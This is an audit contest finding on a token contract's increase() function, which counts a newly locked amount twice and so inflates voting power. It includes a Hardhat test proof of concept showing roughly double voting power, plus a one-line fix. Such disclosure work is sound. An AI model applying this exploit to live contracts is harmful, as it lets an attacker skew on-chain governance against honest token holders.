Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

`veRAACToken.sol::increase()` wrongly calculate the new bias and it cause malicious user to get more voting power than what is expected for the user's locked amount.

Summary

The increasefunction in the veRAACToken.solcontract adds the increased amount twice while updating the new bias and new slope for the user. A malicious user can lock same amount of token for the same amount of time, and get more voting power than what he should get.

Vulnerability Details

https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/tokens/veRAACToken.sol#L253

In line 253 of veRAACToken.sol, _lockState.increaseLock(msg.sender, amount)this line already update the locked amount to the previous amount plus newly added amount.

However, in line 258~262, _votingState.calculateAndUpdatePower()function takes userLock.amount + amountas the argument. This means the amountis added again to userLock.amountwhich is already incremented by the amountin line 253.

A malicious user can lock small amount of token to create a lock, and then increase the locked amount to get more voting power.

For example, Let's say locking 100 token from the beginning will generate 100 voting power.
If a user creates lock with 1 token and then increase the lock with 99 token, then the voting power will be near 200 voting power which is double the expected amount.

PoC

  1. Add following code to veRAACToken.test.js

  2. Run npx hardhat test --grep "Lock and Increase comparison"

describe("Lock and Increase comparison", () => {
it("gives more voting power to user who use the function increase", async () => {
const amount = ethers.parseEther("1000");
const duration = 365 * 24 * 3600; // 1 year
// user0 create lock with 1 token and increase the lock by 999 token
const increase_amount = ethers.parseEther("999");
const tx_lock_creation = await veRAACToken.connect(users[0]).lock(amount - increase_amount, duration);
const receipt_lock_creation = await tx_lock_creation.wait();
const tx_increase = await veRAACToken.connect(users[0]).increase(increase_amount);
const receipt_increase = await tx_increase.wait();
const votingPowerUser_increase = await veRAACToken.getVotingPower(users[0].address);
// user1 create lock with 1000 token from the beginning
const tx_lock = await veRAACToken.connect(users[1]).lock(amount, duration);
const receipt_lock = await tx_lock.wait();
const votingPowerUser_lock = await veRAACToken.getVotingPower(users[1].address);
// Resulting voting power shows that user0 has almost twice the voting power of user1 although they lock same amount of token for the same duration
console.log("voting power of user0 who use 1e18 to create lock and then increase with 999e18 : ", votingPowerUser_increase);
console.log("voting power of user1 who use 1000e18 to create lock : ", votingPowerUser_lock);
expect(votingPowerUser_increase).to.be.gt(votingPowerUser_lock);
})
})

The result is :

veRAACToken
Lock and Increase comparison
voting power of user0 who use 1e18 to create lock and then increase with 999e18 : 499749936612125824454n
voting power of user1 who use 1000e18 to create lock : 250000000000000000000n
✔ gives more voting power to user who use the function increase (5222ms)
1 passing (12s)

Impact

The bug disrupts the governance system because a malicious user can get more voting power than normal users. The advantage that a malicious user can get is up to 200% of normal users.

Tools Used

Hardhat

Recommendations

In line 257~262, userLock.amount + amountshould be replaced with userLock.amount.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!